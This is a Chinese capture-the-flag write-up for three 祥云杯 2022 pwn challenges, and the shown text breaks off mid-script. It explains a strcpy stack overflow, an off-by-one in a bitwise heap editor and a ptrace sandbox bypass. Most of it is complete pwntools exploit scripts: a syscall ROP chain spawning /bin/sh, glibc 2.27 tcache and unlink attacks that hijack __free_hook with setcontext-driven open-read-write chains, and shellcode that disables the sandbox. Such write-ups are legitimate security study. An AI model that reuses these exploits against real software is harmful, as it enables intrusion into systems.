0%

祥云杯CTF2022

protocol

1
2
3
4
5
6
protocol: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=805aff424a7691b51b56996dad2d4c386ab3b31e, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,statically,开了 NX

逆向出来没有符号,不过搜索到一个关键的字符串:

1
sub_43ADCC(v7, 3LL, "/usr/local/include/google/protobuf/metadata_lite.h", 0x4ALL);
  • 搜索到一个叫做 protobuf 的程序

然后在 IDA 中搜索其版本信息

1
2
v5 = sub_43A79E(v4, " of the Protocol Buffer runtime library, but the installed version is ");
sub_43A53E((__int64)v21, 3021008);
1
2
3
4
v4 = a2 / 1000000;
v5 = a2 / 1000 % 1000;
v6 = a2 % 1000;
sub_67F040((__int64)v7, 0x80LL, (__int64)"%d.%d.%d", (unsigned int)(a2 / 1000000), v5, (unsigned int)(a2 % 1000));

环境搭建

先编译 protobuf:

1
2
3
4
5
6
$ cd protobuf-3.21.8/
$ ./autogen.sh
$ ./configure --prefix=/usr/local/protobuf
$ make -j8
$ sudo make install
$ sudo ldconfig
  • 配置环境变量:
1
2
3
4
5
6
sudo vim /etc/profile
##############################################
export PATH=$PATH:/usr/local/protobuf/bin/
export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/
##############################################
source /etc/profile
1
2
3
4
5
6
sudo vim ~/.profile
##############################################
export PATH=$PATH:/usr/local/protobuf/bin/
export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/
##############################################
source ~/.profile
1
2
3
sudo vim /etc/ld.so.conf
##############################################
/usr/local/protobuf/lib
  • 安装好之后就会有如下输出:
1
2
➜  protocol protoc --version                                                            
libprotoc 3.21.8

/protobuf-3.21.8/examples/ 中有 Cpp 的测试案例(记得在 Makefile 加上 “-g -static”)

1
$ make cpp -j8

使用 Bindiff 修复一下符号:(虽然修不了 STL 但至少可以标识一下)

我们还需要下载 python protobuf,然后用如下命令进行安装:(写 exp 脚本时会用到)

1
2
sudo python3 setup.py build 
sudo python3 setup.py install
1
2
3
4
5
6
➜  python python3                  
Python 3.8.10 (default, Jun 22 2022, 20:18:18)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import google.protobuf
>>>

漏洞分析

1
2
3
4
5
6
7
8
9
char buf[256]; // [rsp+140h] [rbp-140h] MAPDST BYREF
__int64 obj; // rax MAPDST

obj = sub_4078D6((__int64)v14);
obj = ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE12_Alloc_hiderC2EPwOS3_(obj);
j_strcpy_ifunc(buf, obj);
obj = sub_4078F4(v14);
obj = ZNSt7__cxx1112basic_stringIwSt11char_traitsIwESaIwEE12_Alloc_hiderC2EPwOS3_(obj);
j_strcpy_ifunc(buf, obj);
  • j_strcpy_ifunc 造成栈溢出

入侵思路

想要与 protobuf 程序进行交互,必须先找到 protobuf 的格式,以下 Github 项目可以完成这个工作:

1
2
3
➜  protocol ./pbtk/extractors/from_binary.py protocol 

[+] Wrote 2 .proto files to ".".
  • 在生成的 ctf.proto 文件中就可以找到答案:
1
2
3
4
5
6
7
8
9
➜  protocol cat ctf.proto 
syntax = "proto2";

package ctf;

message pwn {
optional bytes username = 1;
optional bytes password = 2;
}

然后参考 protobuf-3.21.8/examples 中的 python 使用案例,把 ctf.proto 文件处理为 python 可以识别的形式:

1
➜  protocol protoc --python_out=. ctf.proto 
  • 在当前目录中多了一个 ctf_pb2.py,这就是我们需要的目标库

入侵的思路比较简单,就是利用栈溢出写入一个 ROP(这是 statically 文件,只能打 syscall)

只有一个问题比较烦人:j_strcpy_ifunc 会被 “\x00” 截断

解决的办法也比较暴力,分批次从下往上写 ROP 链,每次写入时前面的字符都填入“b”(需要利用 j_strcpy_ifunc 末尾补“\x00”的特性来写入“\x00”)

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
import ctf_pb2
from pwn import *

arch = 64
challenge = './protocol'

context.os='linux'
#context.log_level = 'debug'

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)

local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '53178')

def debug():
gdb.attach(p,"b* 0x407845\nb* 0x407701\n")
#gdb.attach(p,"b *$rebase()\nb *$rebase()")
pause()

def write(username, password):
pwn = ctf_pb2.pwn()
pwn.username = username
pwn.password = password
login = pwn.SerializeToString()
p.sendafter("Login: ", login)

pop_rax_ret = 0x00000000005bdb8a
pop_rdi_ret = 0x0000000000404982
pop_rsi_ret = 0x0000000000588bbe
pop_rdx_ret = 0x000000000040454f
syscall_ret = 0x68f0a4
bss_addr = 0x81A2A0 + 0x200

"""
payload = b'a'*0x148
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)
payload += p64(pop_rdx_ret) + p64(0x10)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall_ret)
"""

payload = b'a'*0x148 + b'b'*0x8*17 # p64(syscall_ret)
payload += p8(0xa4)+p8(0xf0)+p8(0x68)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*16 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*16 # p64(59)
payload += p8(59)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*15 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*15 # p64(pop_rax_ret)
payload += p8(0x8a)+p8(0xdb)+p8(0x5b)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*14 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*14 # p64(0)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*13 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*13 # p64(pop_rdx_ret)
payload += p8(0x4f)+p8(0x45)+p8(0x40)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*12 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*12 # p64(0)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*11 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*11 # p64(pop_rsi_ret)
payload += p8(0xbe)+p8(0x8b)+p8(0x58)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*10 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*10 # p64(bss_addr)
payload += p8(0xa0)+p8(0xa4)+p8(0x81)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*9 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*9 # p64(pop_rdi_ret)
payload += p8(0x82)+p8(0x49)+p8(0x40)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*8 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*8 # p64(syscall_ret)
payload += p8(0xa4)+p8(0xf0)+p8(0x68)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*7 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*7 # p64(0)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*6 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*6 # p64(pop_rax_ret)
payload += p8(0x8a)+p8(0xdb)+p8(0x5b)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*5 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*5 # p64(0x10)
payload += p8(0x10)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*4 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*4 # p64(pop_rdx_ret)
payload += p8(0x4f)+p8(0x45)+p8(0x40)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*3 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*3 # p64(bss_addr)
payload += p8(0xa0)+p8(0xa4)+p8(0x81)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*2 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*2 # p64(pop_rsi_ret)
payload += p8(0xbe)+p8(0x8b)+p8(0x58)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*1 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*1 # p64(0)
write(payload, b'admin')
for i in range(8):
payload = b'a'*0x148 + b'b'*0x8*0 + (7-i)*b'c'
write(payload, b'admin')

payload = b'a'*0x148 + b'b'*0x8*0 # p64(pop_rdi_ret)
payload += p8(0x82)+p8(0x49)+p8(0x40)
write(payload, b'admin')

write(b'admin', b'admin')
p.sendline("/bin/sh\x00")

p.interactive()

bitheap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
2
3
4
5
6
bitheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e08d4e4d4446d75cea81e7c8527abcfe54cc8768, stripped      
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,Canary,NX,PIE

漏洞分析

1
2
3
4
5
if ( num <= 0xF && chunk_list[num] )
{
__printf_chk(1LL, (__int64)"Content: ");
fill((char *)chunk_list[index], 8LL * size_list[index] + 1);
}
  • 修改模块中有 off-by-one
  • 具体的写入部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
len = __read_chk(0LL, buf, size, 0x1008LL);
if ( len )
{
for ( i = 0LL; i != len; ++i )
{
while ( 1 )
{
a = 1 << (i & 7);
bit = &chunk[(int)i >> 3];
b = *bit & ~(1 << (i & 7));
if ( buf[i] == '1' )
break;
++i;
*bit = b;
if ( len == i )
return __readfsqword(0x28u) ^ canary;
}
*bit = a + b;
}
}
  • 按位写入,可以溢出最后一字节

入侵思路

比赛时我的思路很简单:

  • 放满 tcache 使 free chunk 进入 unsortedbin,再利用本题目“申请模块”不写入的特性(不覆盖)进行泄露
  • 使用标准的 unlink 攻击模板,造成 overlapping
  • 劫持 tcache->next 指针,把 chunk 申请到 free_hook 上
  • 劫持 free_hook 为 one_gadget

后来发现 one_gadget 打不通远程,于是把它换成 system,但还是打不通(但可以执行 puts,当时以为服务器上的文件开了沙盒)

之后打算用 ORW:

  • 和之前一样的思路进行泄露和劫持 free_hook
  • 把 free_hook 劫持为 setcontext+53
  • 申请一个足够大的 chunk 用于存放 ORW 链
  • 把 free_hook+0xa0 劫持为 ORW 链起始地址(因为我打算直接释放申请出来的 free_hook)
  • 把 free_hook+0xa8 劫持为 ret_addr

结果还是打不通远程,当时就以为是题目文件名不是“flag”,但回显信息说明 write 函数根本就没有执行(libc_base 是正确的,程序地址应该也没有问题),这就很郁闷

我当时的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from signal import pause
from pwn import *

cmd = ""
cmd +="b *$rebase(0x982)\n"

p = process("./bitheap")
#p = remote("39.106.13.71",13642)
libc = ELF("./libc-2.27.so")

def choice(c):
#sleep(0.2)
p.sendlineafter("Your choice: ",str(c))

def add(index,size):
choice(1)
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))

def edit(index,content):
choice(2)
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",str(content))

def show(index):
choice(3)
p.sendlineafter("Index: ",str(index))

def delete(index):
choice(4)
p.sendlineafter("Index: ",str(index))

def change(addr):
str = bin(addr).replace('0b','')
return str[::-1].ljust(64,"0")

def changeb(addr):
str = bin(addr).replace('0b','')
return str[::-1].ljust(8,"0")

#gdb.attach(p)
#pause()

for i in range(13):
add(i,0xb8)

for i in range(8):
delete(i)

add(13,0x200)

for i in range(7):
add(i,0xb8)

add(0xf,0xb8)
show(0xf)
p.recvuntil("Content: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3ebd50
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(0)
p.recvuntil("Content: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x620
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system_libc = libc_base + libc.sym["system"]
puts_libc = libc_base + libc.sym["puts"]
setcontext=libc_base+libc.sym['setcontext']+53

one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = one_gadgets[0] + libc_base

open_libc = libc_base + libc.sym["open"]
write_libc = libc_base + libc.sym["write"]
read_libc = libc_base + libc.sym["read"]
pop_rax_ret = libc_base + 0x000000000001b500
pop_rdi_ret = libc_base + 0x000000000002164f
pop_rsi_ret = libc_base + 0x0000000000023a6a
pop_rdx_ret = libc_base + 0x0000000000001b96
ret = libc_base + 0x00000000000008aa
syscall_ret = libc_base + 0x00000000000d2625

success("free_hook >> "+hex(free_hook))
success("one_gadget >> "+hex(one_gadget))
success("setcontext >> "+hex(setcontext))

for i in range(7):
delete(i)

payload = change(0x4000000)*(0xb0/8) + change(0x170)
edit(11,payload)

heap_addr = heap_base + 0x9d0
payload = change(0)+change(0x171)+change(heap_addr+0x18)+change(heap_addr+0x20)+change(heap_addr+0x10)
edit(10,payload)
delete(0xc)

for i in range(7):
add(i,0xb8)

add(14,0xb8)
delete(14)

rop_start = heap_base + 0xe40
payload = change(0)+change(0xa0)+change(free_hook)
edit(0xa,payload)

"""
payload = change(puts_libc)
add(12,0xb8)
add(14,0xb8)
edit(14,payload)
delete(14)
"""

payload = change(setcontext) + change(0)*(0x98/8) + change(rop_start) + change(ret)
add(12,0xb8)
add(14,0xb8)
edit(14,payload)

flag_addr = heap_base + 0x270
payload = changeb(46)+changeb(47)+changeb(102)+changeb(108)+changeb(97)+changeb(103)+changeb(0)*2
payload += change(0)
payload += change(pop_rax_ret) + change(2) + change(pop_rdi_ret) + change(rop_start-0x10) + change(pop_rsi_ret) + change(0) + change(pop_rdx_ret) + change(0) + change(syscall_ret)
payload += change(pop_rax_ret) + change(0) + change(pop_rdi_ret) + change(3) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30) + change(syscall_ret)
payload += change(pop_rax_ret) + change(1) + change(pop_rdi_ret) + change(1) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30) + change(syscall_ret)
success("payload len:"+hex(len(payload)))
add(7,0x200)
edit(7,payload)
delete(14)

p.interactive()

我的队友把 exp 给我改了一下,改后的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#! /usr/bin/env python3
from pwn import *

arch = 64
challenge = './bitheap'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc-2.27.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '53178')

heapbase = None
libc_os = lambda x : libc.address + x
heap_os = lambda x : heapbase + x

p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
def debug():
# gdb.attach(p,"b* 0x407743\n")
# gdb.attach(p,"b *$rebase()\nb *$rebase()")
pause()

def choice(c):
p_sl(c,"Your choice: ")

def add(index,size):
choice(1)
p_sl(index,"Index: ")
p_sl(size,"Size: ")

def edit(index,content):
choice(2)
p_sl(index,"Index: ")
p_sl(content,"Content: ")

def show(index):
choice(3)
p_sl(index,"Index: ")

def delete(index):
choice(4)
p_sl(index,"Index: ")

def change(addr):
con = bin(addr).replace('0b','')
return con[::-1].ljust(64,"0")

def changeb(addr):
con = bin(addr).replace('0b','')
return con[::-1].ljust(8,"0")

for i in range(13):
add(i,0xb8)

for i in range(8):
delete(i)

add(13,0x200)

for i in range(7):
add(i,0xb8)

add(0xf,0xb8)
show(0xf)
p.recvuntil("Content: ")
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ebd50
log.success("libc.address: "+hex(libc.address))

show(0)
p.recvuntil("Content: ")
heapbase = u64(p.recv(6).ljust(8,b'\x00'))-0x620
log.success('heapbase: ' + hex(heapbase))

free_hook = libc.sym["__free_hook"]
setcontext=libc.sym['setcontext']+53
open_libc = libc.sym["open"]
write_libc = libc.sym["write"]
read_libc = libc.sym["read"]

pop_rax_ret = libc.address + 0x000000000001b500
pop_rdi_ret = libc.address + 0x000000000002164f
pop_rsi_ret = libc.address + 0x0000000000023a6a
pop_rdx_ret = libc.address + 0x0000000000001b96
ret = libc.address + 0x00000000000008aa
syscall_ret = libc.address + 0x00000000000d2625

success("free_hook: "+hex(free_hook))
success("setcontext: "+hex(setcontext))

for i in range(7):
delete(i)

payload = change(0x4000000)*22 + change(0x170)
edit(11,payload)

heap_addr = heapbase + 0x9d0
payload = change(0)+change(0x171)+change(heap_addr+0x18)+change(heap_addr+0x20)+change(heap_addr+0x10)
edit(10,payload)
delete(0xc)

for i in range(7):
add(i,0xb8)

add(14,0xb8)
delete(14)

rop_start = heapbase + 0xed8
payload = change(0)+change(0xa0)+change(free_hook)
edit(0xa,payload)

payload = change(setcontext)
add(12,0xb8)
add(14,0xb8)
edit(14,payload)

flag_addr = heapbase + 0xe30
payload = changeb(46)+changeb(47)+changeb(102)+changeb(108)+changeb(97)+changeb(103)+changeb(0)*2
payload += change(0)*(20-1)
payload += change(rop_start) + change(ret)
payload += change(pop_rax_ret) + change(2) + change(pop_rdi_ret) + change(flag_addr) + change(pop_rsi_ret) + change(0) + change(pop_rdx_ret) + change(0) + change(syscall_ret)
payload += change(pop_rax_ret) + change(0) + change(pop_rdi_ret) + change(3) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30) + change(syscall_ret)
payload += change(pop_rax_ret) + change(1) + change(pop_rdi_ret) + change(1) + change(pop_rsi_ret) + change(flag_addr) + change(pop_rdx_ret) + change(0x30) + change(syscall_ret)
success("payload len: "+hex(len(payload)))
add(7,0x200)
edit(7,payload)

# debug()
delete(7)

p.interactive()

经过调试,有一个很明显的不同就是最后 free 的对象:

  • 修改前,释放了申请到 free_hook 的 chunk
  • 修改后,释放了一个普通的 chunk(这样的话 ORW 链的起始地址和 ret_addr 就不用写在 free_hook 中,而是写在 heap 里)
1
*RDI  0x7f4b34e148e8 (__free_hook) —▸ 0x7f4b34a79085 (setcontext+53) ◂— mov    rsp, qword ptr [rdi + 0xa0]
1
*RDI  0x55bf7fe49e30 ◂— 0x67616c662f2e /* './flag' */

其实我习惯于释放 free_hook ,感觉这个应该问题不大(因为本地已经出 flag 了),另一种可能就是我的“描述信息”不完整:

1
2
3
4
5
6
7
8
9
10
11
arch = 64
challenge = './bitheap'
context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(challenge)
libc = ELF('libc-2.27.so')
  • 以前没太注意,之后要写上了

sandboxheap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
2
3
4
5
6
sandbox: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c27ca36e8af1c678abff1e5ec09e7d2979285761, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,Full RELRO,NX,PIE

入侵思路

这题前面的过程都和 bitheap 一样,只是开了 ptrace 沙盒:

1
2
3
4
5
6
7
if ( LODWORD(regs.orig_rax) <= 0x2710 && list[SLODWORD(regs.orig_rax)] )
{
regs.orig_rax = -1LL;
if ( ptrace(PTRACE_SETREGS, fd, 0, &regs) == -1 )
goto print;
orig_rax = regs.orig_rax;
}
  • 当 if 语句条件满足时,ptrace 的 PTRACE_SETREGS 命令就会把 RAX 设置为“-1”
  • 因此执行 syscall 时,RAX 不能为 list[SLODWORD(regs.orig_rax)] 中所指示的值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall set(char a1)
{
memset(list, 1, 0x2711uLL);
list[3] = 0;
*(_DWORD *)&list[9] = 0;
list[60] = 0;
list[231] = 0;
if ( (a1 & 1) != 0 )
{
list[40] = 0;
*(_WORD *)list = 0;
*(_DWORD *)&list[17] = 0;
*(_WORD *)&list[295] = 0;
list[10000] = 0;
}
if ( (a1 & 2) != 0 )
list[2] = 0;
return 0LL;
}
  • sys_execve-59 不可能位于白名单中
  • sys_read-0 sys_write-1 sys_open-2 可以同时处于白名单中(需要两个 if 同时成立)
  • sys_mprotect-10 也在白名单中
1
2
3
case 0x2710LL:
set(regs.rdi);
break;
  • 分析 ptrace 程序得知,在执行 syscall 前,令 rax=0x2710 rdi=0x3 就可以绕过沙盒

于是我们需要对原来的 exp 进行修改,利用 sys_mprotect 使堆获取执行权限,然后再堆上执行 shellcode 来调整 rax rdi,然后执行 ORW 的过程

shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
section .text

global _start

_start:
xor rdi,rdi
mov rdi,3
xor rax,rax
add rax,0x2710
syscall
mov rbx,rsp
sub rbx,0x100
mov rax,2
mov rdi,rbx
xor rsi,rsi
xor rdx,rdx
syscall
mov rax,0
mov rdi,3
mov rsi,rbx
mov rdx,0x30
syscall
mov rax,1
mov rdi,1
mov rsi,rbx
mov rdx,0x30
syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
➜  sandboxheap nasm -f elf64 sh.s -o sh.o
➜ sandboxheap ld sh.o -o sh
➜ sandboxheap objdump --disassemble ./sh

./sh: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
401000: 48 31 ff xor %rdi,%rdi
401003: bf 03 00 00 00 mov $0x3,%edi
401008: 48 31 c0 xor %rax,%rax
40100b: 48 05 10 27 00 00 add $0x2710,%rax
401011: 0f 05 syscall
401013: 48 89 e3 mov %rsp,%rbx
401016: 48 81 eb 00 01 00 00 sub $0x100,%rbx
40101d: b8 02 00 00 00 mov $0x2,%eax
401022: 48 89 df mov %rbx,%rdi
401025: 48 31 f6 xor %rsi,%rsi
401028: 48 31 d2 xor %rdx,%rdx
40102b: 0f 05 syscall
40102d: b8 00 00 00 00 mov $0x0,%eax
401032: bf 03 00 00 00 mov $0x3,%edi
401037: 48 89 de mov %rbx,%rsi
40103a: ba 30 00 00 00 mov $0x30,%edx
40103f: 0f 05 syscall
401041: b8 01 00 00 00 mov $0x1,%eax
401046: bf 01 00 00 00 mov $0x1,%edi
40104b: 48 89 de mov %rbx,%rsi
40104e: ba 30 00 00 00 mov $0x30,%edx
401053: 0f 05 syscall

剩下的工作就有些繁琐,需要以题目规定的格式写入 shellcode

在执行 ORW 之前会先执行以下这段 syscall:

1
2
3
4
5
0x56322a58cf40    syscall  <SYS_<unk_10000>>
rdi: 0x48000003
rsi: 0x7000
rdx: 0x7
r10: 0x7f36f15c4bc0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
  • 这个系统调用可以帮助我们获取 ORW 的白名单

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#! /usr/bin/env python3
from pwn import *

arch = 64
challenge = './sandboxheap'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '53178')

heapbase = None
libc_os = lambda x : libc.address + x
heap_os = lambda x : heapbase + x

p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)
def debug():
# gdb.attach(p,"b* 0x407743\n")
gdb.attach(p)
pause()

def choice(c):
p_sl(c,"Your choice: ")

def add(index,size):
choice(1)
p_sl(index,"Index: ")
p_sl(size,"Size: ")

def edit(index,content):
choice(2)
p_sl(index,"Index: ")
p_sl(content,"Content: ")

def show(index):
choice(3)
p_sl(index,"Index: ")

def delete(index):
choice(4)
p_sl(index,"Index: ")

def change(addr):
con = bin(addr).replace('0b','')
return con[::-1].ljust(64,"0")

def changeb(addr):
con = bin(addr).replace('0b','')
return con[::-1].ljust(8,"0")

for i in range(13):
add(i,0xb8)

for i in range(8):
delete(i)

add(13,0x200)

for i in range(7):
add(i,0xb8)

add(0xf,0xb8)
show(0xf)
p.recvuntil("Content: ")
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x3ebd50
log.success("libc.address: "+hex(libc.address))

show(0)
p.recvuntil("Content: ")
heapbase = u64(p.recv(6).ljust(8,b'\x00'))-0x620
log.success('heapbase: ' + hex(heapbase))

free_hook = libc.sym["__free_hook"]
setcontext=libc.sym['setcontext']+53
open_libc = libc.sym["open"]
write_libc = libc.sym["write"]
read_libc = libc.sym["read"]

pop_rax_ret = libc.address + 0x000000000001b500
pop_rdi_ret = libc.address + 0x000000000002164f
pop_rsi_ret = libc.address + 0x0000000000023a6a
pop_rdx_ret = libc.address + 0x0000000000001b96
ret = libc.address + 0x00000000000008aa
syscall_ret = libc.address + 0x00000000000d2625

success("free_hook: "+hex(free_hook))
success("setcontext: "+hex(setcontext))

for i in range(7):
delete(i)

payload = change(0x4000000)*22 + change(0x170)
edit(11,payload)

heap_addr = heapbase + 0x9d0
payload = change(0)+change(0x171)+change(heap_addr+0x18)+change(heap_addr+0x20)+change(heap_addr+0x10)
edit(10,payload)
delete(0xc)

for i in range(7):
add(i,0xb8)

add(14,0xb8)
delete(14)

rop_start = heapbase + 0xed8
payload = change(0)+change(0xa0)+change(free_hook)
edit(0xa,payload)

payload = change(setcontext)
add(12,0xb8)
add(14,0xb8)
edit(14,payload)

flag_addr = heapbase + 0xe30
shellcode_addr = heapbase + 0xf30
shellcode = change(0x000003bfff314890) + change(0x0000271005c03148) + change(0x489090909090050f)
shellcode += change(0xe389489090909090) + change(0x00000100eb814890) + change(0xdf894800000002b8) + change(0x050fd23148f63148)
shellcode += change(0x00000000b8909090) + change(0x00000003bf909090) + change(0x00000030bade8948) + change(0x050f909090909090)
shellcode += change(0x00000001b8909090) + change(0x00000001bf909090) + change(0x00000030bade8948) + change(0x050f909090909090)

